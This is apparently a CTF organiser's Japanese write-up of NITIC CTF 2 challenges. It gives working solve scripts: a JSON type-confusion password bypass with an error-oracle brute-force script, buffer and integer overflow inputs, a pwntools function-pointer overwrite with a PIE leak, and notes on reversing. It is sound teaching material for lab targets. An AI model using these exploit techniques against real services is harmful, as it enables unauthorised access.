NITIC CTF 2 作問者Writeup+反省
NITIC CTF 2の作問の一部を担当しました。参加して頂きありがとうございました。
以下、作った問題の解説と反省をしていきます。
Web
password [300pt, 46 Solves]
パスワードの文字が紛らわしいので、打ち間違えても通るようにしました。
from flask import Flask, request, make_response, render_template import string import secrets password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)]) print("[INFO] password: " + password) with open("flag.txt") as f: flag = f.read() def fuzzy_equal(input_pass, password): if len(input_pass) != len(password): return False for i in range(len(input_pass)): if input_pass[i] in "0oO": c = "0oO" elif input_pass[i] in "l1I": c = "l1I" else: c = input_pass[i] if all([ci != password[i] for ci in c]): return False return True app = Flask(__name__) @app.route("/") def home(): return render_template("index.html") @app.route("/flag", methods=["POST"]) def search(): if request.headers.get("Content-Type") != 'application/json': return make_response("invalid Content-Type Header", 415) input_pass = request.json.get("pass", "") if not fuzzy_equal(input_pass, password): return make_response("invalid password", 401) return flag if __name__ == '__main__': app.run( debug = True, host = '127.0.0.1', port = 8080, threaded = True )
このようなサーバーが動いています。正しいパスワードを送信すればフラグが貰えますが、0oO
やiI1
の文字種は区別されないようになっています。
取っ掛かり
なんでわざわざJSONで送ってるの?という疑問がありますね。CTFにおいてこういう無駄な実装は意味があることが多いです。
フォームから送られるJSONはこのような形です。
{"pass": "hoge"}
しかし、サーバー側でpass
が文字列であるというチェックを行っていません。つまり、このようなpass
を配列にしたJSONも送れます。
{"pass": ["h", "o", "g", "e"]}
非想定解
全員非想定解で通していると思います。私もこれ想定解にしたいです。
else: c = input_pass[i] if all([ci != password[i] for ci in c]): return False
ここが使えます。配列にすればinput_pass[i]
は自由に操作することができるので、同様にc
も操作することができます。
c
は0oO
のような区別しない文字種を格納しておく変数なので、これをパスワードの文字種のstring.ascii_letters
、つまりabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
にすればパスワードのチェックを一文字分通り抜けることができます。
これをパスワードの長さである32文字分繰り返せばよいので、このようなJSONを送ることでフラグが得られます・
{'pass': ['abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ']}
password fixed [300pt, 13 solves]
先程の非想定解を潰した問題です。予告無しの途中からの問題追加、追加時のトラブルや対応の遅れなど様々な迷惑をおかけして申し訳ありませんでした。
fuzzy_equal
関数がこのように変更されています。
def fuzzy_equal(input_pass, password): if len(input_pass) != len(password): return False for i in range(len(input_pass)): if input_pass[i] in "0oO": if password[i] not in "0oO": return False continue if input_pass[i] in "l1I": if password[i] not in "l1I": return False continue if input_pass[i] != password[i]: return False return True
これではc
のような操作できる都合のいい変数が無いため、先ほどの非想定解は使えません。
想定解
先程は配列のJSONを送る発想があれば解けましたが、ここでは配列の中に文字列以外を入れる発想があれば解けます。
{"pass": [1,1,1,1, ... (32個文)]}
このようなJSONを送ってみると、500 Internal Server Errorが起きます。
fuzzy_equal
関数を手元で動かして原因を探りましょう。
In [2]: fuzzy_equal([1,2,3,4], "hoge") --------------------------------------------------------------------------- TypeError Traceback (most recent call last) <ipython-input-2-bbfd2ccd8286> in <module> ----> 1 fuzzy_equal([1,2,3,4], "hoge") <ipython-input-1-48649ff100fd> in fuzzy_equal(input_pass, password) 4 5 for i in range(len(input_pass)): ----> 6 if input_pass[i] in "0oO": 7 if password[i] not in "0oO": 8 return False TypeError: 'in <string>' requires string as left operand, not int
input_pass[i] in "0oO"
の部分です。数値 in 文字列
のときはエラーを起こすようですね。
もう一つ見ておく処理があります。
if input_pass[i] in "0oO": if password[i] not in "0oO": return False # ここ continue if input_pass[i] in "l1I": if password[i] not in "l1I": return False # ここ continue if input_pass[i] != password[i]: return False # ここ
普通ではと思うかもしれませんが、パスワードのi文字目が合っていなかったら途中でもループを終了して結果を返すという事実が重要です。
この二つを使います。このようなJSONを送ってみるとどうなるでしょうか?
{"pass": ["a", 1, 1, ... (32文字分)]}
まずfuzzy_equal
の最初のループでa
が評価されます。このときa
が合っていなかったらループを終了して結果を返します。
a
が合っていたときは次のループに移りますが、1 in "0oO"
が評価されエラーになり500 Internal Server Errorを返します。
つまり、このJSONを送るとパスワードの1文字目がa
であるかどうかというのを判別することができます。
この操作をa
からZ
まですることで、パスワードの1文字目がわかります。
仮にパスワードの1文字目がx
とわかったら、2文字目も同様に次のようなJSONを送ることで判別することができます。
{"pass": ["x", "a", 1, ... (32文字分)]}
これを32文字文繰り返せばパスワードを特定できます。
import requests as req import string ses = req.Session() pass_list = [1 for i in range(32)] host = "http://127.0.0.1:8002/flag" for i in range(32-1): for c in string.ascii_letters: pass_list[i] = c response = ses.post(host, json={"pass":pass_list}) if response.status_code == 500: break print(pass_list) for c in string.ascii_letters: pass_list[31] = c response = ses.post(host, json={"pass":pass_list}) if response.status_code != 401: print(response.text) break
非想定解が綺麗で「曖昧なパスワード」という設定に引っ張られた人は多かったと思うんですけど、実際は数値 in 文字列
の処理を作るための口実でした。
頑張れば思いつけると思ったんですけど、解けた人は少なかったですね。ごめんなさい。
pwn
pwn monster 1 [200pt, 120 solves]
pwn monsterが完成しました!ライバルのpwnchuは最強で、バグ技を使わない限りは勝てないでしょう。
#include <stdio.h> #include <stdint.h> #include <unistd.h> #include <stdbool.h> // バッファリングを無効化して時間制限を60秒に設定 __attribute__((constructor)) void setup() { alarm(60); setbuf(stdin, NULL); setbuf(stdout, NULL); } void show_flag() { FILE* fp = fopen("./flag.txt", "r"); char flag[256]; if (fp == NULL) { printf("Not found flag.txt! Do you run in local?\n"); } else { fgets(flag, 256, fp); printf("%s\n", flag); fclose(fp); } } void print_and_wait(const char* message) { puts(message); getchar(); } void print_title() { print_and_wait( " ____ __ __ _ \n" "| _ \\__ ___ __ | \\/ | ___ _ __ ___| |_ ___ _ __ \n" "| |_) \\ \\ /\\ / / '_ \\| |\\/| |/ _ \\| '_ \\/ __| __/ _ \\ '__|\n" "| __/ \\ V V /| | | | | | | (_) | | | \\__ \\ || __/ | \n" "|_| \\_/\\_/ |_| |_|_| |_|\\___/|_| |_|___/\\__\\___|_| \n" " Press Any Key \n" ); } typedef struct { char name[16]; int64_t hp; int64_t attack; } Monster; void print_monster_infomation(Monster monster) { printf("+--------+--------------------+----------------------+\n"); printf("|name | 0x%016lx | %20.8s |\n", *(int64_t*)monster.name , monster.name); printf("| | 0x%016lx | %20.8s |\n", *(int64_t*)(monster.name + 8), monster.name + 8); printf("|HP | 0x%016lx | % 20ld |\n", monster.hp , monster.hp); printf("|ATK | 0x%016lx | % 20ld |\n", monster.attack , monster.attack); printf("+--------+--------------------+----------------------+\n"); } void give_monster_name(Monster* monster) { printf("Let's give your monster a name!\n"); print_monster_infomation(*monster); printf("Input name: "); scanf("%s%*c", monster->name); print_monster_infomation(*monster); print_and_wait("OK, Nice name."); } bool battle(Monster my_monster, Monster rival_monster) { bool my_turn = true; while (1) { printf("[You] %s HP: %ld\n", my_monster.name, my_monster.hp); printf("[Rival] %s HP: %ld\n", rival_monster.name, rival_monster.hp); if (rival_monster.hp < 0) { print_and_wait("Win!"); return true; } if (my_monster.hp < 0) { print_and_wait("Lose..."); return false; } if (my_turn) { print_and_wait("Your Turn."); printf("Rival monster took %ld damage!\n", my_monster.attack); print_and_wait(""); rival_monster.hp -= my_monster.attack; } else { print_and_wait("Rival Turn."); printf("Your monster took %ld damage!\n", rival_monster.attack); print_and_wait(""); my_monster.hp -= rival_monster.attack; } my_turn = !my_turn; } } int main() { Monster rival_monster = {"pwnchu", 9999, 9999}; Monster my_monster = {"", 100, 10}; bool win = false; print_title(); print_and_wait("Welcome to Pwn Monster World!"); print_and_wait("I'll give your first monster!"); give_monster_name(&my_monster); print_and_wait("Let's battle with Rival! If you win, give you FLAG."); win = battle(my_monster, rival_monster); if (win) { show_flag(); } return 0; }
コードが長いですが、読まなくても解ける程度の難易度だと思います。
give_monster_name
関数のscanf("%s%*c", monster->name)
の部分が脆弱性です。scanf
の書式文字列%s
は%15s
のように文字列長を指定しないとmonster->name
を超えて入力を読み込んでしまうBuffer Over Flowが起きます。
typedef struct { char name[16]; int64_t hp; int64_t attack; } Monster;
構造体Monster
はname
の下にhp
とattack
を持つため、16文字以上の入力をするとhp
, attack
を上書きすることができます。12345678123456781234567812345678
などの入力をすることでhp
, attack
を大きな値に上書きすることで相手のHPを削り切り、フラグを得ることができます。
❯ ./vuln ____ __ __ _ | _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __ | |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__| | __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ | |_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_| Press Any Key Welcome to Pwn Monster World! I'll give your first monster! Let's give your monster a name! +--------+--------------------+----------------------+ |name | 0x0000000000000000 | | | | 0x0000000000000000 | | |HP | 0x0000000000000064 | 100 | |ATK | 0x000000000000000a | 10 | +--------+--------------------+----------------------+ Input name: 12345678123456781234567812345678 +--------+--------------------+----------------------+ |name | 0x3837363534333231 | 12345678 | | | 0x3837363534333231 | 12345678 | |HP | 0x3837363534333231 | 4050765991979987505 | |ATK | 0x3837363534333231 | 4050765991979987505 | +--------+--------------------+----------------------+ OK, Nice name. Let's battle with Rival! If you win, give you FLAG. [You] 12345678123456781234567812345678pwnchu HP: 4050765991979987505 [Rival] pwnchu HP: 9999 Your Turn. Rival monster took 4050765991979987505 damage! [You] 12345678123456781234567812345678pwnchu HP: 4050765991979987505 [Rival] pwnchu HP: -4050765991979977506 Win! nitic_ctf{We1c0me_t0_pwn_w0r1d!}
nitic_ctf{We1c0me_t0_pwn_w0r1d!}
netcatさえ持っていれば簡単に解ける問題です。簡単なメモリ破壊でpwnに親しみを持ってもらえたらいいなと思い作りました。
pwn monster 2 [300pt, 65 solves]
pwn monster 2ではバグ技を検知する機構を追加しました。
void give_monster_name(Monster* monster) { printf("Let's give your monster a name!\n"); print_monster_infomation(*monster); int64_t checksum = monster->hp + monster->attack; printf("Checksum: %ld\n", checksum); printf("Input name: "); scanf("%s%*c", monster->name); print_monster_infomation(*monster); printf("Checksum: %ld\n", monster->hp + monster->attack); if (monster->hp + monster->attack != checksum) { puts("Detect cheat."); exit(1); } puts("OK, Nice name."); }
pwn monster 1の続きで、今回はHPとATKがチェックサムで書き替えられていないかチェックされています。
HPとATKの初期値は100, 10なのでチェックサムは110です。HP+ATKが110になるように調整しつつ、都合のいい値に上書きする必要があります。
HPとATKをどちらも大きい値にしたいことですが、チェックサムを通すことを考えるとどちらかを大きな値にすると、どちらかを負の値にする必要があります。
HPが負の値になると負けてしまうので、ATKを負の値にしなければなりません。ATKが負の値だと相手を回復し続けるだけでは?と思うかもしれませんが、相手のHPがint64_tの最大値9223372036854775807
を超えるとオーバーフローし、負の値になり勝つことができます。
HPを大きな値(例えば0x7fffffffffffffff
)にするとします。チェックサムが通るATKは2の補数を考慮すれば以下のように計算できます。
>>> hex(((0x7fffffffffffffff - 110) ^ ((1 << 64) - 1)) + 1) '0x800000000000006f'
このプログラムで使われているアーキテクチャのx86_64ではリトルエンディアンという下位アドレス順からバイト毎に配置される方式を取っているので、それを考慮しつつ送信内容を書きます。
❯ echo -e "1234567812345678\xff\xff\xff\xff\xff\xff\xff\x7f\x6f\x00\x00\x00\x00\x00\x00\x80" | ./vuln ____ __ __ _ | _ \__ ___ __ | \/ | ___ _ __ ___| |_ ___ _ __ | |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__| | __/ \ V V /| | | | | | | (_) | | | \__ \ || __/ | |_| \_/\_/ |_| |_|_| |_|\___/|_| |_|___/\__\___|_| Press Any Key Welcome to Pwn Monster World! I'll give first monster! Let's give your monster a name! +--------+--------------------+----------------------+ |name | 0x0000000000000000 | | | | 0x0000000000000000 | | |HP | 0x0000000000000064 | 100 | |ATK | 0x000000000000000a | 10 | +--------+--------------------+----------------------+ Checksum: 110 Input name: +--------+--------------------+----------------------+ |name | 0x3837363534333231 | 12345678 | | | 0x3837363534333231 | 12345678 | |HP | 0x7fffffffffffffff | 9223372036854775807 | |ATK | 0x800000000000006f | -9223372036854775697 | +--------+--------------------+----------------------+ Checksum: 110 OK, Nice name. Let's battle with Rival! If you win, give you FLAG. [You] 1234567812345678�������o HP: 9223372036854775807 [Rival] pwnchu HP: 9999 Your Turn. Rival monster took -9223372036854775697 damage! [You] 1234567812345678�������o HP: 9223372036854775807 [Rival] pwnchu HP: -9223372036854765920 Win! nitic_ctf{buffer_and_1nteger_overfl0w}
nitic_ctf{buffer_and_1nteger_overfl0w}
pwntoolsの機能を使うと簡潔に書くことができます。
from pwn import * io = process("./vuln") payload = b"A" * 16 # name HP = 0x1234567812345678 # どんな大きい値でもいい payload += p64(HP) # HP payload += p64(-HP + 110, signed='signed') # ATK io.sendlineafter("Input name: ", payload) io.interactive()
Beginner's Stackでまずつまずいたのがunprintableな内容をどう送信するか?だったので、それに慣れてもらえたらなと思い、少しのCTF的バイパスも入れて出しました。
pwn monster 3 [300, 50 solves]
対策してもバグで勝つ人が多いので、pwn monster 3では勝ってもフラグを貰えないようにしました。
void show_flag() { FILE* fp = fopen("./flag.txt", "r"); char flag[256]; if (fp == NULL) { printf("Not found flag.txt! Do you run in local?\n"); } else { fgets(flag, 256, fp); printf("%s\n", flag); fclose(fp); } } typedef struct { char name[16]; int64_t hp; int64_t attack; char* (*cry)(); } Monster; char* pwnchu_cry() { return "pwnchu!"; } char* my_monster_cry() { return "GRRRR...."; } ... bool battle(Monster my_monster, Monster rival_monster) { bool my_turn = true; while (1) { ... if (my_turn) { puts("Your Turn."); printf("%s: %s\n", my_monster.name, my_monster.cry()); ... } else { puts("Rival Turn."); printf("%s: %s\n", rival_monster.name, rival_monster.cry()); ... } my_turn = !my_turn; } } int main() { Monster rival_monster = {"pwnchu", 9999, 9999, pwnchu_cry}; Monster my_monster = {"", 100, 10, my_monster_cry}; bool win = false; ... win = battle(my_monster, rival_monster); if (win) { puts("Rival: I don't want to give you FLAG! bye~~"); } return 0; }
チェックサムは無くなり、構造体にcry()
という関数ポインタが追加され、そこにはbattle()
内で呼び出されるモンスターの鳴き声を返す関数が入っています。また、勝ってもフラグが貰えないようになっています。
そもそも関数を示すポインタとはどういうこと?という疑問があるかもしれません。
コンパイルする際に関数のソースコードを機械語に変換するのですが、出力される実行ファイル(例えばa.out
)には各関数を動かすための機械語が入っています。
この実行ファイルは、実行する際にメモリにロードされます。関数ポインタとは、メモリ中にあるロードされた実行ファイル中の、関数を動かすための機械語を指すポインタということです。
つまり関数ポインタを書き替えるとポインタが指す機械語をメモリ中の別の場所へと変更することができます。
機械語の現在位置のアドレスを持つレジスタをプログラムカウンタ(PC)、x86_64ではRIPと呼ばれるのですが、関数ポインタの書き替えのようにRIPの操作を奪うことがpwnの基本的な目標になります。RIPを取ると呼んだりしています。
さて、この問題ではどうでしょうか。my_monster.cry
の関数ポインタを書き替えることができるので、RIPの奪取は可能です。フラグが貰えればいいので、my_monster.cry
が指す機械語をshow_flag()
の機械語にすれば良さそうです。
show_flag()
が配置されているアドレスがわかればいいのですが、PIEというセキュリティ機構の考慮が必要です。
PIE有効下ではまず最初にランダムなアドレス(ベースアドレス)を決定し、そのアドレスから実行ファイルがメモリにロードされるようになります。
そのため関数が配置されるアドレスも毎回変化します。
# 毎回変化するベースアドレス base_address = 0x562ae54be000 # ある関数の実行ファイルの先頭からのオフセット function_offset = 0x1568 # 関数が実際にメモリに配置されるアドレス function_address = base_address + function_offset = 0x562ae54bf568
そのためベースアドレスがわからなければ関数が実際に配置されるアドレスもわかりません。どうやってベースアドレスを求めたらいいのでしょうか。
ここでプログラムで出力されるメモリに注目します。
+--------+--------------------+----------------------+ |name | 0x0000000000000000 | | | | 0x0000000000000000 | | |HP | 0x0000000000000064 | 100 | |ATK | 0x000000000000000a | 10 | |cry() | 0x0000559b85ecd34e | | +--------+--------------------+----------------------+
このように、出力にはmy_monster.cry
のアドレス0x0000559b85ecd34e
が含まれています。これは先ほどの例で言うとfunction_address
にあたります。
function_offset
がわかれば、式からfunction_address - function_offset = base_address
と求めることができます。
関数のオフセットはobjdump
などのツールを用いて調べることができます。この時点でmy_monster.cry
に入っているのはmy_monster_cry()
関数のアドレスなのでその関数のオフセットを調べます。
$ objdump -d vuln ... 000000000000134e <my_monster_cry>: ...
この134e
というのがmy_monster_cry
の16進数のオフセットです。 ベースアドレスを式から求めてみましょう。
>>> hex(0x0000559b85ecd34e - 0x00000000000134e) '0x559b85ecc000'
この0x559b85ecc000
が今回の例のベースアドレスです。これにshow_flag()
のオフセットを足せばshow_flag()
のアドレスになります。
my_monster.cry
をshow_flag()
に書き替えればよいという話でしたが、書き替える内容が動的に変化するのでncで解くのは厳しいです。
Pythonのpwntoolsを利用することでそのような操作を簡単に書くことができます。
from pwn import * file = "./vuln" program = ELF(file) io = process(file) # my_monster.cryのアドレスを取得する io.recvuntil("|cry() | 0x") cry_addr = int(io.recvuntil(" ")[:-1], 16) # ベースアドレスを求める (pwntoolsのELFクラスでは一度ベースアドレスを入れると後は自動で補完してくれる) program.address = cry_addr - program.sym["my_monster_cry"] # my_monster.cryを書き換える payload = b"A" * 0x8 # name payload += b"A" * 0x8 payload += b"A" * 0x8 # HP payload += b"A" * 0x8 # ATK # p64で整数のアドレスを64bitのバイト列に変換する payload += p64(program.sym["show_flag"]) # cry() io.sendlineafter("Input name: ", payload) io.interactive()
❯ py solve.py [*] '/mnt/*hoge*/CTF/NITIC_CTF_2/pwn/pwn_monster_3/work/vuln' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './vuln': pid 6828 [*] Switching to interactive mode +--------+--------------------+----------------------+ |name | 0x4141414141414141 | AAAAAAAA | | | 0x4141414141414141 | AAAAAAAA | |HP | 0x4141414141414141 | 4702111234474983745 | |ATK | 0x4141414141414141 | 4702111234474983745 | |cry() | 0x000055848ad23286 | | +--------+--------------------+----------------------+ OK, Nice name. Let's battle with Rival! If you win, give you FLAG. [You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x862Ҋ\x84U HP: 4702111234474983745 [Rival] pwnchu HP: 9999 Your Turn. nitic_ctf{rewrite_function_pointer_is_fun} AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x862Ҋ\x84U: (null) Rival monster took 4702111234474983745 damage! [You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x862Ҋ\x84U HP: 4702111234474983745 [Rival] pwnchu HP: -4702111234474973746 Win! Rival: I don't want to give you FLAG! bye~~ [*] Got EOF while reading in interactive $ [*] Interrupted
nitic_ctf{rewrite_function_pointer_is_fun}
このシリーズは私が初めて解いたpwnであるSECCON Beginners CTF 2020のBeginner's Stackをオマージュして作られており、PIE無効だと元問題と一致してしまうため、PIE有効にしてleakからのアドレス計算も慣れるといいよねと思い出しました。
Rev
protected [200pt, 105 solves]
パスワードでフラグを保護すれば安全!
表層解析
stringsコマンドを使ってバイナリ中にある文字列を見てみましょう。
$ strings chall ... []A\A]A^A_ PASSWORD: sUp3r_s3Cr37_P4s5w0Rd Invalid password. :*3$" GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0 crtstuff.c deregister_tm_clones ...
sUp3r_s3Cr37_P4s5w0Rd
といういかにも怪しい文字列がありました。これがパスワードなので、入力すればフラグが得られます。
❯ ./chall PASSWORD: sUp3r_s3Cr37_P4s5w0Rd nitic_ctf{hardcode_secret}
nitic_ctf{hardcode_secret}
sUp3r_s3Cr37_P4s5w0Rd
がフラグだと思われた方はすみませんでした。もう少し記述をしておけば良かったですね...
真面目に解析
Ghidraを使って解析してみます。
/* WARNING: Could not reconcile some variable overlaps */ bool main(void) { int result; long in_FS_OFFSET; char out [26]; char input_buf [264]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("PASSWORD: "); __isoc99_scanf("%s",input_buf); result = strcmp(input_buf,"sUp3r_s3Cr37_P4s5w0Rd"); if (result == 0) { out._0_8_ = 0xe17e5dba42674ca9; out._8_8_ = 0x4027c7f0b9cb9dba; out._16_8_ = 0x30d97c7e02684487; out._24_2_ = 0x1d00; RC4(out,input_buf,0x1a); puts(out); } else { puts("Invalid password."); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return result != 0; }
sUp3r_s3Cr37_P4s5w0Rd
がパスワードで、それをkeyとしてRC4で暗号化されたフラグを復号していることがわかります。
report or repeat [300pt, 22 solves]
マルウェアの仕業により大事なレポートが暗号化されてしまった!レポートの締め切りは9/6の24時まで。暗号化プログラムを解読してレポートを取り戻し、留年を回避しましょう。
※ あくまで設定で、有害なプログラムは含んでいません
解析
Ghidraで解析します。entryを見るとmain関数はFUN_001014bd
であることがわかるので見ていきましょう。
int main(int argc,char **argv) { int read_len2; FILE *input_fp; FILE *output_fp; size_t read_len; ulong path_len; char *pcVar1; long in_FS_OFFSET; byte const_zero; int i; undefined input_buf [256]; undefined output_buf [255]; undefined4 output_path; undefined auStack277 [261]; long canary; char path_i; const_zero = 0; canary = *(long *)(in_FS_OFFSET + 0x28); if (argc < 2) { printf("Usage: %s ./file\n",*argv); read_len2 = 0; } else { input_fp = fopen(argv[1],"rb"); if (input_fp == (FILE *)0x0) { printf("Could not open %s\n",argv[1]); read_len2 = 1; } else { strncpy((char *)((long)&output_path + 1),argv[1],0x100); path_len = 0xffffffffffffffff; pcVar1 = (char *)((long)&output_path + 1); do { if (path_len == 0) break; path_len = path_len - 1; path_i = *pcVar1; pcVar1 = pcVar1 + (ulong)const_zero * -2 + 1; } while (path_i != '\0'); /* .enc */ *(undefined4 *)((long)&output_path + ~path_len) = 0x636e652e; auStack277[~path_len] = 0; output_fp = fopen((char *)((long)&output_path + 1),"wb"); if (output_fp == (FILE *)0x0) { printf("Could not open %s\n",(long)&output_path + 1); read_len2 = 1; } else { do { read_len = fread(input_buf,1,0x100,input_fp); read_len2 = (int)read_len; if (read_len2 < 0x100) { i = read_len2; if (read_len2 == 0) break; for (; i < 0x100; i = i + 1) { input_buf[i] = 0; } } encrypt(input_buf,output_buf); read_len = fwrite(output_buf,1,0x100,output_fp); if (read_len < 0x100) { printf("Failed to write to %s\n",(long)&output_path + 1); read_len2 = 1; goto LAB_00101738; } } while (read_len2 == 0x100); fclose(input_fp); fclose(output_fp); read_len2 = 0; } } } LAB_00101738: if (canary == *(long *)(in_FS_OFFSET + 0x28)) { return read_len2; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
解析するとこんな感じで、argv[1]
のファイルを0x100バイト読み込み暗号化をしてから(argv[1]).enc
のファイルに書き込んでいます。encrypt関数について見ていきましょう。
/* WARNING: Could not reconcile some variable overlaps */ void encrypt(byte *input_buf,byte *output_buf) { long lVar1; long in_FS_OFFSET; int i; char xor_table [256]; lVar1 = *(long *)(in_FS_OFFSET + 0x28); xor_table._0_8_ = 0xc2b5e93852ec1e72; xor_table._8_8_ = 0x27ea0f531f754746; xor_table._16_8_ = 0x2a898c8c6ed757cf; xor_table._24_8_ = 0x12e7a197b8a86f2; xor_table._32_8_ = 0x7c9f5b2bd30815ab; xor_table._40_8_ = 0x58826f3c985dde86; xor_table._48_8_ = 0x9ef377a56285eaf2; xor_table._56_8_ = 0x1b71a09e8b10373e; xor_table._64_8_ = 0x650117b32f7e9dce; xor_table._72_8_ = 0xf928e1ad2f795c14; xor_table._80_8_ = 0xa65e121f693a9255; xor_table._88_8_ = 0x28e33b47dadba441; xor_table._96_8_ = 0x627c22fa9ce90908; xor_table._104_8_ = 0x8e45e495862805d2; xor_table._112_8_ = 0x426458ed66ebe7d2; xor_table._120_8_ = 0x685191a02170a9ba; xor_table._128_8_ = 0x7abb33126ca97eff; xor_table._136_8_ = 0x1047cceede01bde; xor_table._144_8_ = 0xd3061b78361723cf; xor_table._152_8_ = 0xd4a5086985e255e; xor_table._160_8_ = 0xc22b726e96390c31; xor_table._168_8_ = 0xf9a944d74cdd310f; xor_table._176_8_ = 0xb0a67368b940edb7; xor_table._184_8_ = 0x4ce4b603372e3eef; xor_table._192_8_ = 0x6254f01074835dcb; xor_table._200_8_ = 0x846ea7ff5cdf28c1; xor_table._208_8_ = 0x3d175ba063eb3959; xor_table._216_8_ = 0x98777b218bcbee97; xor_table._224_8_ = 0x670388d4459a9d5; xor_table._232_8_ = 0xe951440710637bef; xor_table._240_8_ = 0x330c4a5a3dce2989; xor_table._248_8_ = 0x81d57f6dd1652132; for (i = 0; i < 0x100; i = i + 1) { output_buf[i] = out_table[input_buf[idx_table[i]]] ^ xor_table[i]; } if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
各バイトについて、以下のような処理をしてますね。
output_buf[i] = out_table[input_buf[idx_table[i]]] ^ xor_table[i];
xxx_tableは全てバイナリ中に埋め込まれているのでGhidraやradare2やgdb、最悪でもddなどのツールを使って抜き出すことができます。
解法
input_buf
のみが未知なので、そこを復元できるように変形していきましょう。両辺をxor_table[i]
でXORします。
out_table[input_buf[idx_table[i]]] = output_buf[i] ^ xor_table[i]
ここまではいいですが、out_table
をどうやってはがせばいいでしょう。調べればわかりますが、out_table
は0~0xffまでを一回まで使ったテーブルとなっています。つまりインデックスと値が一対一に対応しているので、インデックスと値を反転したテーブルを用意すれば、out_table
をはがすことができます。idx_table[i]
もありますがこれも0~0xffなので書き込む場所を調整すればよいだけです。
with open("report.pdf.enc", "rb") as f: enc = f.read() idx_table = 